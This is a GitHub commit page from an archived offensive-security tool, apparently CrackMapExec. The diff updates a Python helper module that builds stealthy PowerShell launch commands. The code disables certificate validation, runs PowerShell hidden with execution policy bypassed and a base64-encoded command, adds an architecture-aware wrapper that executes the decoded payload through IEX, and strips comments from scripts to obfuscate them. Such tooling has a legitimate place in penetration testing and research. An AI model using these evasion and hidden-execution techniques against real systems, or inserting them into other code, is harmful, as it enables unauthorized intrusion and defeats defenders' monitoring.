Skip to content
This repository was archived by the owner on Dec 6, 2023. It is now read-only.

Commit 2c77b0c

Browse files
author
byt3bl33d3r
committed
Since fortra/impacket#137 is now
resolved, we can now add the architecture aware wrapper
1 parent 4dc2625 commit 2c77b0c

File tree

2 files changed

+42
-26
lines changed

2 files changed

+42
-26
lines changed

core/helpers.py

Lines changed: 42 additions & 26 deletions
Original file line numberDiff line numberDiff line change
@@ -15,34 +15,50 @@ def validate_ntlm(data):
1515
return False
1616

1717
def obfs_ps_script(script, function_name=None):
18-
"""
19-
Strip block comments, line comments, empty lines, verbose statements,
20-
and debug statements from a PowerShell source file.
21-
22-
If the function_name paramater is passed, replace the main powershell function name with it
23-
"""
24-
if function_name:
25-
function_line = script.split('\n', 1)[0]
26-
if function_line.find('function') != -1:
27-
script = re.sub('-.*', '-{}\r'.format(function_name), script, count=1)
28-
29-
# strip block comments
30-
strippedCode = re.sub(re.compile('<#.*?#>', re.DOTALL), '', script)
31-
# strip blank lines, lines starting with #, and verbose/debug statements
32-
strippedCode = "\n".join([line for line in strippedCode.split('\n') if ((line.strip() != '') and (not line.strip().startswith("#")) and (not line.strip().lower().startswith("write-verbose ")) and (not line.strip().lower().startswith("write-debug ")) )])
33-
return strippedCode
18+
"""
19+
Strip block comments, line comments, empty lines, verbose statements,
20+
and debug statements from a PowerShell source file.
21+
22+
If the function_name paramater is passed, replace the main powershell function name with it
23+
"""
24+
if function_name:
25+
function_line = script.split('\n', 1)[0]
26+
if function_line.find('function') != -1:
27+
script = re.sub('-.*', '-{}\r'.format(function_name), script, count=1)
28+
29+
# strip block comments
30+
strippedCode = re.sub(re.compile('<#.*?#>', re.DOTALL), '', script)
31+
# strip blank lines, lines starting with #, and verbose/debug statements
32+
strippedCode = "\n".join([line for line in strippedCode.split('\n') if ((line.strip() != '') and (not line.strip().startswith("#")) and (not line.strip().lower().startswith("write-verbose ")) and (not line.strip().lower().startswith("write-debug ")) )])
33+
return strippedCode
3434

3535
def create_ps_command(ps_command, force_ps32=False):
36-
ps_command = "[Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};" + ps_command
37-
if force_ps32:
38-
command = '%SystemRoot%\\SysWOW64\\WindowsPowershell\\v1.0\\powershell.exe -exec bypass -window hidden -noni -nop -encoded {}'.format(b64encode(ps_command.encode('UTF-16LE')))
39-
elif not force_ps32:
40-
command = 'powershell.exe -exec bypass -window hidden -noni -nop -encoded {}'.format(b64encode(ps_command.encode('UTF-16LE')))
36+
ps_command = "[Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};" + ps_command
37+
if force_ps32:
38+
command = """$command = '{}'
39+
if ($Env:PROCESSOR_ARCHITECTURE -eq 'AMD64')
40+
{{
41+
42+
$exec = $Env:windir + '\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe -exec bypass -window hidden -noni -nop -encoded ' + $command
43+
IEX $exec
44+
}}
45+
else
46+
{{
47+
$exec = [System.Convert]::FromBase64String($command)
48+
$exec = [Text.Encoding]::Unicode.GetString($exec)
49+
IEX $exec
50+
51+
}}""".format(b64encode(ps_command.encode('UTF-16LE')))
52+
53+
command = 'powershell.exe -exec bypass -window hidden -noni -nop -encoded {}'.format(b64encode(command.encode('UTF-16LE')))
54+
55+
elif not force_ps32:
56+
command = 'powershell.exe -exec bypass -window hidden -noni -nop -encoded {}'.format(b64encode(ps_command.encode('UTF-16LE')))
4157

42-
return command
58+
return command
4359

4460
def highlight(text, color='yellow'):
45-
if color == 'yellow':
46-
return u'{}'.format(colored(text, 'yellow', attrs=['bold']))
47-
elif color == 'red':
48-
return u'{}'.format(colored(text, 'red', attrs=['bold']))
61+
if color == 'yellow':
62+
return u'{}'.format(colored(text, 'yellow', attrs=['bold']))
63+
elif color == 'red':
64+
return u'{}'.format(colored(text, 'red', attrs=['bold']))

crackmapexec.py

100644100755
File mode changed.

0 commit comments

Comments
 (0)